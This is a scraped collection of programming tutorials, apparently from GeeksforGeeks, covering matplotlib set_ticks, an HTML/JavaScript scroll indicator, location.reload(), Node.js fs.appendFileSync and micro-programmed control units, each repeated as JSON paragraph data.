Syntax: Axis.set_ticks(self, ticks, \*, minor=False)
Parameters: This method accepts the following parameters.
ticks : This parameter is the sequence of floats.
minor : This parameter contains the bool value.
Return value: This method does not return any value.
Below examples illustrate the matplotlib.axis.Axis.set_ticks() function in matplotlib.axis:
Example 1:
Python3
# Implementation of matplotlib functionfrom matplotlib.axis import Axisimport matplotlib.pyplot as pltimport numpy as np fig = plt.figure() x = np.linspace(0,2*np.pi,100)y = 2*np.sin(x) ax = fig.add_subplot()ax.plot(x,y)ax.yaxis.set_ticks([1,2,3,4,5,6,7]) ax.grid() fig.suptitle("""matplotlib.axis.Axis.set_ticks()function Example\n""", fontweight ="bold") plt.show()
Output:
Example 2:
Python3
# Implementation of matplotlib functionfrom matplotlib.axis import Axisimport matplotlib.pyplot as pltimport numpy as np fig = plt.figure()x = np.linspace(-np.pi, np.pi, 100)y = 2 * np.sin(x) ax = fig.add_subplot()ax.set_title('centered spines')ax.plot(x, y) ax.spines['left'].set_position('center')ax.spines['right'].set_color('none')ax.spines['bottom'].set_position('center')ax.spines['top'].set_color('none') ax.xaxis.set_ticks_position('bottom')ax.yaxis.set_ticks_position('left')ax.xaxis.set_ticks([-3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3]) ax.grid() fig.suptitle("""matplotlib.axis.Axis.set_ticks()function Example\n""", fontweight ="bold") plt.show()
Output:
Matplotlib-Axis Class
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
Python | os.path.join() method
How to drop one or multiple columns in Pandas Dataframe
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | Get unique values from a list
Python | datetime.timedelta() function
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n08 Jun, 2020"
},
{
"code": null,
"e": 249,
"s": 28,
"text": "Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. It is an amazing visualization library in Python for 2D plots of arrays and used for working with the broader SciPy stack."
},
{
"code": null,
"e": 386,
"s": 249,
"text": "The Axis.set_ticks() function in axis module of matplotlib library is used to set the locations of the tick marks from sequence ticks. "
},
{
"code": null,
"e": 441,
"s": 386,
"text": "Syntax: Axis.set_ticks(self, ticks, \\*, minor=False) "
},
{
"code": null,
"e": 500,
"s": 441,
"text": "Parameters: This method accepts the following parameters. "
},
{
"code": null,
"e": 550,
"s": 500,
"text": "ticks : This parameter is the sequence of floats."
},
{
"code": null,
"e": 598,
"s": 550,
"text": "minor : This parameter contains the bool value."
},
{
"code": null,
"e": 652,
"s": 598,
"text": "Return value: This method does not return any value. "
},
{
"code": null,
"e": 745,
"s": 652,
"text": "Below examples illustrate the matplotlib.axis.Axis.set_ticks() function in matplotlib.axis: "
},
{
"code": null,
"e": 756,
"s": 745,
"text": "Example 1:"
},
{
"code": null,
"e": 764,
"s": 756,
"text": "Python3"
},
{
"code": "# Implementation of matplotlib functionfrom matplotlib.axis import Axisimport matplotlib.pyplot as pltimport numpy as np fig = plt.figure() x = np.linspace(0,2*np.pi,100)y = 2*np.sin(x) ax = fig.add_subplot()ax.plot(x,y)ax.yaxis.set_ticks([1,2,3,4,5,6,7]) ax.grid() fig.suptitle(\"\"\"matplotlib.axis.Axis.set_ticks()function Example\\n\"\"\", fontweight =\"bold\") plt.show()",
"e": 1146,
"s": 764,
"text": null
},
{
"code": null,
"e": 1156,
"s": 1146,
"text": "Output: "
},
{
"code": null,
"e": 1167,
"s": 1156,
"text": "Example 2:"
},
{
"code": null,
"e": 1175,
"s": 1167,
"text": "Python3"
},
{
"code": "# Implementation of matplotlib functionfrom matplotlib.axis import Axisimport matplotlib.pyplot as pltimport numpy as np fig = plt.figure()x = np.linspace(-np.pi, np.pi, 100)y = 2 * np.sin(x) ax = fig.add_subplot()ax.set_title('centered spines')ax.plot(x, y) ax.spines['left'].set_position('center')ax.spines['right'].set_color('none')ax.spines['bottom'].set_position('center')ax.spines['top'].set_color('none') ax.xaxis.set_ticks_position('bottom')ax.yaxis.set_ticks_position('left')ax.xaxis.set_ticks([-3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3]) ax.grid() fig.suptitle(\"\"\"matplotlib.axis.Axis.set_ticks()function Example\\n\"\"\", fontweight =\"bold\") plt.show()",
"e": 1900,
"s": 1175,
"text": null
},
{
"code": null,
"e": 1910,
"s": 1900,
"text": "Output: "
},
{
"code": null,
"e": 1934,
"s": 1912,
"text": "Matplotlib-Axis Class"
},
{
"code": null,
"e": 1952,
"s": 1934,
"text": "Python-matplotlib"
},
{
"code": null,
"e": 1959,
"s": 1952,
"text": "Python"
},
{
"code": null,
"e": 2057,
"s": 1959,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2089,
"s": 2057,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 2116,
"s": 2089,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 2137,
"s": 2116,
"text": "Python OOPs Concepts"
},
{
"code": null,
"e": 2160,
"s": 2137,
"text": "Introduction To PYTHON"
},
{
"code": null,
"e": 2191,
"s": 2160,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 2247,
"s": 2191,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 2289,
"s": 2247,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 2331,
"s": 2289,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 2370,
"s": 2331,
"text": "Python | Get unique values from a list"
}
] |
How to Create Scroll Indicator using HTML CSS and JavaScript ?
|
29 May, 2020
Scroll Indicator is a progress bar that represents how much a page has been scrolled. When we scroll down the bar fills up and when we scroll up the bar amount reduces.
Approach: Now, we will create a basic webpage with text to enable scrolling and then use JavaScript to make the scroll indicator work.
HTML Code: In this section, we will create a basic structure of the body.<!DOCTYPE html><html lang="en"> <head> <meta name="viewport" content= "width=device-width, initial-scale=1.0"> <title>GFG : Scroll Indicator</title></head> <body> <!--The scroll indicator line at the top of page--> <div class="line" id="scrollIndicator"></div> <!--Content to fill the page to enable scrolling--> <div class="text"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div></body> </html>
<!DOCTYPE html><html lang="en"> <head> <meta name="viewport" content= "width=device-width, initial-scale=1.0"> <title>GFG : Scroll Indicator</title></head> <body> <!--The scroll indicator line at the top of page--> <div class="line" id="scrollIndicator"></div> <!--Content to fill the page to enable scrolling--> <div class="text"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div></body> </html>
CSS code: In this section, we will add some CSS property to set the style to create scroll indicator.<style> body { margin: 0; } /* Formatting text to fill the page */ .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } /* The progress bar - scroll indicator */ .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; }</style>Approach:window.innerHeight – The height of the viewable portion of the browser.document.body.scrollHeight – The height of webpage.window.scrollY – Number of pixels the user has scrolled down so far.maxHeight – Calculate number of pixels user can scroll.percentage – The width of scrollIndicator element.
<style> body { margin: 0; } /* Formatting text to fill the page */ .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } /* The progress bar - scroll indicator */ .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; }</style>
Approach:
window.innerHeight – The height of the viewable portion of the browser.
document.body.scrollHeight – The height of webpage.
window.scrollY – Number of pixels the user has scrolled down so far.
maxHeight – Calculate number of pixels user can scroll.
percentage – The width of scrollIndicator element.
JavaScript Code for Scroll Indicator:<script> // Added event listener to the scroll window.addEventListener('scroll', moveScrollIndicator); // Getting scrollIndicator element by ID const scrollIndicatorElt = document.getElementById('scrollIndicator'); // Height of entire web page - height // of viewable portion of browser const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { // Calculating width of the // scrollIndicator element const percentage = ((window.scrollY) / maxHeight) * 100; // Pixels scrolled by the user // to total scrollable Pixels scrollIndicatorElt.style.width = percentage + '%'; }</script>Complete code:<!DOCTYPE html><html> <head> <title>GFG : Scroll Indicator</title> <style> body { margin: 0; } .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; } </style></head> <body> <div class="line" id="scrollIndicator"></div> <div class="text"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div> <script type="text/javascript"> window.addEventListener('scroll', moveScrollIndicator); const scrollIndicatorElt = document.getElementById('scrollIndicator'); const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { const percentage = ((window.scrollY) / maxHeight) * 100; scrollIndicatorElt.style.width = percentage + '%'; } </script></body> </html>Output:My Personal Notes
arrow_drop_upSave
<script> // Added event listener to the scroll window.addEventListener('scroll', moveScrollIndicator); // Getting scrollIndicator element by ID const scrollIndicatorElt = document.getElementById('scrollIndicator'); // Height of entire web page - height // of viewable portion of browser const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { // Calculating width of the // scrollIndicator element const percentage = ((window.scrollY) / maxHeight) * 100; // Pixels scrolled by the user // to total scrollable Pixels scrollIndicatorElt.style.width = percentage + '%'; }</script>
Complete code:
<!DOCTYPE html><html> <head> <title>GFG : Scroll Indicator</title> <style> body { margin: 0; } .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; } </style></head> <body> <div class="line" id="scrollIndicator"></div> <div class="text"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div> <script type="text/javascript"> window.addEventListener('scroll', moveScrollIndicator); const scrollIndicatorElt = document.getElementById('scrollIndicator'); const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { const percentage = ((window.scrollY) / maxHeight) * 100; scrollIndicatorElt.style.width = percentage + '%'; } </script></body> </html>
Output:
CSS-Misc
HTML-Misc
JavaScript-Misc
CSS
HTML
JavaScript
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Design a Tribute Page using HTML & CSS
How to set space between the flexbox ?
Build a Survey Form using HTML and CSS
Form validation using jQuery
Design a web page using HTML and CSS
REST API (Introduction)
Hide or show elements in HTML using display property
How to set the default value for an HTML <select> element ?
How to set input type date in dd-mm-yyyy format using HTML ?
HTTP headers | Content-Type
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n29 May, 2020"
},
{
"code": null,
"e": 223,
"s": 54,
"text": "Scroll Indicator is a progress bar that represents how much a page has been scrolled. When we scroll down the bar fills up and when we scroll up the bar amount reduces."
},
{
"code": null,
"e": 358,
"s": 223,
"text": "Approach: Now, we will create a basic webpage with text to enable scrolling and then use JavaScript to make the scroll indicator work."
},
{
"code": null,
"e": 1028,
"s": 358,
"text": "HTML Code: In this section, we will create a basic structure of the body.<!DOCTYPE html><html lang=\"en\"> <head> <meta name=\"viewport\" content= \"width=device-width, initial-scale=1.0\"> <title>GFG : Scroll Indicator</title></head> <body> <!--The scroll indicator line at the top of page--> <div class=\"line\" id=\"scrollIndicator\"></div> <!--Content to fill the page to enable scrolling--> <div class=\"text\"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div></body> </html>"
},
{
"code": "<!DOCTYPE html><html lang=\"en\"> <head> <meta name=\"viewport\" content= \"width=device-width, initial-scale=1.0\"> <title>GFG : Scroll Indicator</title></head> <body> <!--The scroll indicator line at the top of page--> <div class=\"line\" id=\"scrollIndicator\"></div> <!--Content to fill the page to enable scrolling--> <div class=\"text\"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div></body> </html>",
"e": 1625,
"s": 1028,
"text": null
},
{
"code": null,
"e": 2437,
"s": 1625,
"text": "CSS code: In this section, we will add some CSS property to set the style to create scroll indicator.<style> body { margin: 0; } /* Formatting text to fill the page */ .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } /* The progress bar - scroll indicator */ .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; }</style>Approach:window.innerHeight – The height of the viewable portion of the browser.document.body.scrollHeight – The height of webpage.window.scrollY – Number of pixels the user has scrolled down so far.maxHeight – Calculate number of pixels user can scroll.percentage – The width of scrollIndicator element."
},
{
"code": "<style> body { margin: 0; } /* Formatting text to fill the page */ .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } /* The progress bar - scroll indicator */ .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; }</style>",
"e": 2844,
"s": 2437,
"text": null
},
{
"code": null,
"e": 2854,
"s": 2844,
"text": "Approach:"
},
{
"code": null,
"e": 2926,
"s": 2854,
"text": "window.innerHeight – The height of the viewable portion of the browser."
},
{
"code": null,
"e": 2978,
"s": 2926,
"text": "document.body.scrollHeight – The height of webpage."
},
{
"code": null,
"e": 3047,
"s": 2978,
"text": "window.scrollY – Number of pixels the user has scrolled down so far."
},
{
"code": null,
"e": 3103,
"s": 3047,
"text": "maxHeight – Calculate number of pixels user can scroll."
},
{
"code": null,
"e": 3154,
"s": 3103,
"text": "percentage – The width of scrollIndicator element."
},
{
"code": null,
"e": 5325,
"s": 3154,
"text": "JavaScript Code for Scroll Indicator:<script> // Added event listener to the scroll window.addEventListener('scroll', moveScrollIndicator); // Getting scrollIndicator element by ID const scrollIndicatorElt = document.getElementById('scrollIndicator'); // Height of entire web page - height // of viewable portion of browser const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { // Calculating width of the // scrollIndicator element const percentage = ((window.scrollY) / maxHeight) * 100; // Pixels scrolled by the user // to total scrollable Pixels scrollIndicatorElt.style.width = percentage + '%'; }</script>Complete code:<!DOCTYPE html><html> <head> <title>GFG : Scroll Indicator</title> <style> body { margin: 0; } .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; } </style></head> <body> <div class=\"line\" id=\"scrollIndicator\"></div> <div class=\"text\"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div> <script type=\"text/javascript\"> window.addEventListener('scroll', moveScrollIndicator); const scrollIndicatorElt = document.getElementById('scrollIndicator'); const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { const percentage = ((window.scrollY) / maxHeight) * 100; scrollIndicatorElt.style.width = percentage + '%'; } </script></body> </html>Output:My Personal Notes\narrow_drop_upSave"
},
{
"code": "<script> // Added event listener to the scroll window.addEventListener('scroll', moveScrollIndicator); // Getting scrollIndicator element by ID const scrollIndicatorElt = document.getElementById('scrollIndicator'); // Height of entire web page - height // of viewable portion of browser const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { // Calculating width of the // scrollIndicator element const percentage = ((window.scrollY) / maxHeight) * 100; // Pixels scrolled by the user // to total scrollable Pixels scrollIndicatorElt.style.width = percentage + '%'; }</script>",
"e": 6101,
"s": 5325,
"text": null
},
{
"code": null,
"e": 6116,
"s": 6101,
"text": "Complete code:"
},
{
"code": "<!DOCTYPE html><html> <head> <title>GFG : Scroll Indicator</title> <style> body { margin: 0; } .text { font-size: 80px; color: green; text-align: center; line-height: 3em; } .line { background: green; height: 8px; border-radius: 4px; width: 0%; position: fixed; top: 0; } </style></head> <body> <div class=\"line\" id=\"scrollIndicator\"></div> <div class=\"text\"> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> <div>GeeksforGeeks</div> </div> <script type=\"text/javascript\"> window.addEventListener('scroll', moveScrollIndicator); const scrollIndicatorElt = document.getElementById('scrollIndicator'); const maxHeight = window.document.body.scrollHeight - window.innerHeight; function moveScrollIndicator(e) { const percentage = ((window.scrollY) / maxHeight) * 100; scrollIndicatorElt.style.width = percentage + '%'; } </script></body> </html>",
"e": 7419,
"s": 6116,
"text": null
},
{
"code": null,
"e": 7427,
"s": 7419,
"text": "Output:"
},
{
"code": null,
"e": 7436,
"s": 7427,
"text": "CSS-Misc"
},
{
"code": null,
"e": 7446,
"s": 7436,
"text": "HTML-Misc"
},
{
"code": null,
"e": 7462,
"s": 7446,
"text": "JavaScript-Misc"
},
{
"code": null,
"e": 7466,
"s": 7462,
"text": "CSS"
},
{
"code": null,
"e": 7471,
"s": 7466,
"text": "HTML"
},
{
"code": null,
"e": 7482,
"s": 7471,
"text": "JavaScript"
},
{
"code": null,
"e": 7499,
"s": 7482,
"text": "Web Technologies"
},
{
"code": null,
"e": 7504,
"s": 7499,
"text": "HTML"
},
{
"code": null,
"e": 7602,
"s": 7504,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 7641,
"s": 7602,
"text": "Design a Tribute Page using HTML & CSS"
},
{
"code": null,
"e": 7680,
"s": 7641,
"text": "How to set space between the flexbox ?"
},
{
"code": null,
"e": 7719,
"s": 7680,
"text": "Build a Survey Form using HTML and CSS"
},
{
"code": null,
"e": 7748,
"s": 7719,
"text": "Form validation using jQuery"
},
{
"code": null,
"e": 7785,
"s": 7748,
"text": "Design a web page using HTML and CSS"
},
{
"code": null,
"e": 7809,
"s": 7785,
"text": "REST API (Introduction)"
},
{
"code": null,
"e": 7862,
"s": 7809,
"text": "Hide or show elements in HTML using display property"
},
{
"code": null,
"e": 7922,
"s": 7862,
"text": "How to set the default value for an HTML <select> element ?"
},
{
"code": null,
"e": 7983,
"s": 7922,
"text": "How to set input type date in dd-mm-yyyy format using HTML ?"
}
] |
HTML | DOM Location reload() Method
|
05 Jul, 2022
The location reload() method in HTML DOM is used to reload the current document. This method refreshes the current documents. It is similar to the refresh button in the browser.
Syntax:
location.reload( forceGet )
Parameters: This method contains single parameter forceGet which is optional. This parameter contains boolean value which are listed below:
True: Reloads the current page from the server.
False: Reloads the current from the cache.
Return Value: It does not return any value.
Example:
html
<!DOCTYPE html><html> <head> <title> HTML DOM Location reload() Method </title> <!--script to reload current page--> <script> function locationreload() { location.reload(); } </script> </head> <body> <h1>GeeksforGeeks</h1> <h2> HTML DOM Location reload() Method </h2> <p> Click on the button to reload the document </p> <!-- script call here --> <button onclick = "locationreload()"> Reload page </button> </body></html>
Output:
Before click on the button:
After click on the button: The document will reload.
Supported Browsers: The browser supported by DOM Location reload() Method are listed below:
Google Chrome 1
Edge 12
Internet Explorer 5.5
Firefox 1
Opera 3
Safari 1
geeksr3ap
HTML-DOM
HTML-Methods
Picked
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n05 Jul, 2022"
},
{
"code": null,
"e": 207,
"s": 28,
"text": "The location reload() method in HTML DOM is used to reload the current document. This method refreshes the current documents. It is similar to the refresh button in the browser. "
},
{
"code": null,
"e": 215,
"s": 207,
"text": "Syntax:"
},
{
"code": null,
"e": 243,
"s": 215,
"text": "location.reload( forceGet )"
},
{
"code": null,
"e": 383,
"s": 243,
"text": "Parameters: This method contains single parameter forceGet which is optional. This parameter contains boolean value which are listed below:"
},
{
"code": null,
"e": 431,
"s": 383,
"text": "True: Reloads the current page from the server."
},
{
"code": null,
"e": 474,
"s": 431,
"text": "False: Reloads the current from the cache."
},
{
"code": null,
"e": 519,
"s": 474,
"text": "Return Value: It does not return any value. "
},
{
"code": null,
"e": 529,
"s": 519,
"text": "Example: "
},
{
"code": null,
"e": 534,
"s": 529,
"text": "html"
},
{
"code": "<!DOCTYPE html><html> <head> <title> HTML DOM Location reload() Method </title> <!--script to reload current page--> <script> function locationreload() { location.reload(); } </script> </head> <body> <h1>GeeksforGeeks</h1> <h2> HTML DOM Location reload() Method </h2> <p> Click on the button to reload the document </p> <!-- script call here --> <button onclick = \"locationreload()\"> Reload page </button> </body></html> ",
"e": 1212,
"s": 534,
"text": null
},
{
"code": null,
"e": 1221,
"s": 1212,
"text": "Output: "
},
{
"code": null,
"e": 1249,
"s": 1221,
"text": "Before click on the button:"
},
{
"code": null,
"e": 1306,
"s": 1252,
"text": "After click on the button: The document will reload. "
},
{
"code": null,
"e": 1398,
"s": 1306,
"text": "Supported Browsers: The browser supported by DOM Location reload() Method are listed below:"
},
{
"code": null,
"e": 1414,
"s": 1398,
"text": "Google Chrome 1"
},
{
"code": null,
"e": 1422,
"s": 1414,
"text": "Edge 12"
},
{
"code": null,
"e": 1444,
"s": 1422,
"text": "Internet Explorer 5.5"
},
{
"code": null,
"e": 1454,
"s": 1444,
"text": "Firefox 1"
},
{
"code": null,
"e": 1462,
"s": 1454,
"text": "Opera 3"
},
{
"code": null,
"e": 1471,
"s": 1462,
"text": "Safari 1"
},
{
"code": null,
"e": 1481,
"s": 1471,
"text": "geeksr3ap"
},
{
"code": null,
"e": 1490,
"s": 1481,
"text": "HTML-DOM"
},
{
"code": null,
"e": 1503,
"s": 1490,
"text": "HTML-Methods"
},
{
"code": null,
"e": 1510,
"s": 1503,
"text": "Picked"
},
{
"code": null,
"e": 1515,
"s": 1510,
"text": "HTML"
},
{
"code": null,
"e": 1532,
"s": 1515,
"text": "Web Technologies"
},
{
"code": null,
"e": 1537,
"s": 1532,
"text": "HTML"
}
] |
Node.js | fs.appendFileSync() Function
|
08 May, 2020
The fs.appendFileSync() method is used to synchronously append the given data to a file. A new file is created if it does not exist. The optional options parameter can be used to modify the behavior of the operation.
Syntax:
fs.appendFileSync( path, data, options])
Parameters: This method accepts three parameters as mentioned above and described below:
path: It is a String, Buffer, URL or number that denotes the source filename or file descriptor that will be appended.
data: It is a String or Buffer that denotes the data that has to be appended.
options: It is an string or an object that can be used to specify optional parameters that will affect the output. It has three optional parameters:encoding: It is a string which specifies the encoding of the file. The default value is ‘utf8’.mode: It is an integer which specifies the file mode. The default value is ‘0o666’.flag: It is a string which specifies the flag used while appending to the file. The default value is ‘a’.
encoding: It is a string which specifies the encoding of the file. The default value is ‘utf8’.
mode: It is an integer which specifies the file mode. The default value is ‘0o666’.
flag: It is a string which specifies the flag used while appending to the file. The default value is ‘a’.
Below examples illustrate the fs.appendFileSync() method in Node.js:
Example 1: This example shows the appending of the given text to a file.
// Node.js program to demonstrate the// fs.appendFileSync() method // Import the filesystem moduleconst fs = require('fs'); // Get the file contents before the append operationconsole.log("\nFile Contents of file before append:", fs.readFileSync("example_file.txt", "utf8")); fs.appendFileSync("example_file.txt", " - Geeks For Geeks"); // Get the file contents after the append operationconsole.log("\nFile Contents of file after append:", fs.readFileSync("example_file.txt", "utf8"));
Output:
File Contents of file before append: Hello
File Contents of file after append: Hello - Geeks For Geeks
Example 2: This example shows the usage of the optional parameters to change the file encoding and flag of the operation. The “w” flag replaces the contents of the file instead of appending to it.
// Node.js program to demonstrate the// fs.appendFileSync() method // Import the filesystem moduleconst fs = require('fs'); // Get the file contents before the append operationconsole.log("\nFile Contents of file before append:", fs.readFileSync("example_file.txt", "utf8")); // Append to the file using optional parametersfs.appendFileSync("example_file.txt", "This is the appended text", { encoding: "utf8", flag: "w" }); // Get the file contents after the append operationconsole.log("\nFile Contents of file after append:", fs.readFileSync("example_file.txt", "utf8"));
Output:
File Contents of file before append: This is a test file
File Contents of file after append: This is the appended text
Reference: https://nodejs.org/api/fs.html#fs_fs_appendfilesync_path_data_options
Node.js-fs-module
Node.js
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n08 May, 2020"
},
{
"code": null,
"e": 245,
"s": 28,
"text": "The fs.appendFileSync() method is used to synchronously append the given data to a file. A new file is created if it does not exist. The optional options parameter can be used to modify the behavior of the operation."
},
{
"code": null,
"e": 253,
"s": 245,
"text": "Syntax:"
},
{
"code": null,
"e": 294,
"s": 253,
"text": "fs.appendFileSync( path, data, options])"
},
{
"code": null,
"e": 383,
"s": 294,
"text": "Parameters: This method accepts three parameters as mentioned above and described below:"
},
{
"code": null,
"e": 502,
"s": 383,
"text": "path: It is a String, Buffer, URL or number that denotes the source filename or file descriptor that will be appended."
},
{
"code": null,
"e": 580,
"s": 502,
"text": "data: It is a String or Buffer that denotes the data that has to be appended."
},
{
"code": null,
"e": 1012,
"s": 580,
"text": "options: It is an string or an object that can be used to specify optional parameters that will affect the output. It has three optional parameters:encoding: It is a string which specifies the encoding of the file. The default value is ‘utf8’.mode: It is an integer which specifies the file mode. The default value is ‘0o666’.flag: It is a string which specifies the flag used while appending to the file. The default value is ‘a’."
},
{
"code": null,
"e": 1108,
"s": 1012,
"text": "encoding: It is a string which specifies the encoding of the file. The default value is ‘utf8’."
},
{
"code": null,
"e": 1192,
"s": 1108,
"text": "mode: It is an integer which specifies the file mode. The default value is ‘0o666’."
},
{
"code": null,
"e": 1298,
"s": 1192,
"text": "flag: It is a string which specifies the flag used while appending to the file. The default value is ‘a’."
},
{
"code": null,
"e": 1367,
"s": 1298,
"text": "Below examples illustrate the fs.appendFileSync() method in Node.js:"
},
{
"code": null,
"e": 1440,
"s": 1367,
"text": "Example 1: This example shows the appending of the given text to a file."
},
{
"code": "// Node.js program to demonstrate the// fs.appendFileSync() method // Import the filesystem moduleconst fs = require('fs'); // Get the file contents before the append operationconsole.log(\"\\nFile Contents of file before append:\", fs.readFileSync(\"example_file.txt\", \"utf8\")); fs.appendFileSync(\"example_file.txt\", \" - Geeks For Geeks\"); // Get the file contents after the append operationconsole.log(\"\\nFile Contents of file after append:\", fs.readFileSync(\"example_file.txt\", \"utf8\"));",
"e": 1938,
"s": 1440,
"text": null
},
{
"code": null,
"e": 1946,
"s": 1938,
"text": "Output:"
},
{
"code": null,
"e": 2051,
"s": 1946,
"text": "File Contents of file before append: Hello\n\nFile Contents of file after append: Hello - Geeks For Geeks\n"
},
{
"code": null,
"e": 2248,
"s": 2051,
"text": "Example 2: This example shows the usage of the optional parameters to change the file encoding and flag of the operation. The “w” flag replaces the contents of the file instead of appending to it."
},
{
"code": "// Node.js program to demonstrate the// fs.appendFileSync() method // Import the filesystem moduleconst fs = require('fs'); // Get the file contents before the append operationconsole.log(\"\\nFile Contents of file before append:\", fs.readFileSync(\"example_file.txt\", \"utf8\")); // Append to the file using optional parametersfs.appendFileSync(\"example_file.txt\", \"This is the appended text\", { encoding: \"utf8\", flag: \"w\" }); // Get the file contents after the append operationconsole.log(\"\\nFile Contents of file after append:\", fs.readFileSync(\"example_file.txt\", \"utf8\"));",
"e": 2835,
"s": 2248,
"text": null
},
{
"code": null,
"e": 2843,
"s": 2835,
"text": "Output:"
},
{
"code": null,
"e": 2964,
"s": 2843,
"text": "File Contents of file before append: This is a test file\n\nFile Contents of file after append: This is the appended text\n"
},
{
"code": null,
"e": 3045,
"s": 2964,
"text": "Reference: https://nodejs.org/api/fs.html#fs_fs_appendfilesync_path_data_options"
},
{
"code": null,
"e": 3063,
"s": 3045,
"text": "Node.js-fs-module"
},
{
"code": null,
"e": 3071,
"s": 3063,
"text": "Node.js"
},
{
"code": null,
"e": 3088,
"s": 3071,
"text": "Web Technologies"
}
] |
Difference between Horizontal and Vertical micro-programmed Control Unit
|
04 Jan, 2022
Prerequisite – Hardwired v/s Micro-programmed Control Unit
The control unit (CU) is the engine that runs the entire functions of a computer with the help of control signals in the proper sequence. In the micro-programmed control unit approach, the control signals that are associated with the operations are stored in special memory units. It is convenient to think of sets of control signals that cause specific micro-operations to occur as being “micro-instructions”. The sequences of micro-instructions could be stored in an internal “control” memory.
The micro-programmed control unit can be classified into two types based on the type of Control Word stored in the Control Memory, viz., Horizontal micro-programmed control unit and Vertical micro-programmed control unit.
In the Horizontal micro-programmed control unit, the control signals are represented in the decoded binary format, i.e., 1 bit/CS. Here ‘n’ control signals require n bit encoding. On the other hand.
In a Vertical micro-programmed control unit, the control signals are represented in the encoded binary format. Here ‘n’ control signals require log2n bit encoding.
Example: Consider a hypothetical Control Unit that supports 4 k words. The Hardware contains 64 control signals and 16 Flags. What is the size of control word used in bits and control memory in a byte using: a) Horizontal Programming b) Vertical programming
Solution:
a)For Horizontal
64 bits for 64 signals % 16 bits for flags
Control Word Size = 64 + 16 = 80 bits
Control Memory = 4 kW = ( (4* 80) / 8 ) = 40 kByte
b)For Vertical
6 bits for 64 signals i.e log264
4 bits for 16 flags i.e log216
12 bits for 4K words i.e log2(4*1024)
Control Word Size = 4 + 6 + 12 = 22 bits
Control Memory = 4 kW = ( (4* 22) / 8 ) = 11 kByte
VaibhavRai3
MridulGain
Picked
Technical Scripter 2018
Computer Organization & Architecture
GATE CS
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n04 Jan, 2022"
},
{
"code": null,
"e": 114,
"s": 54,
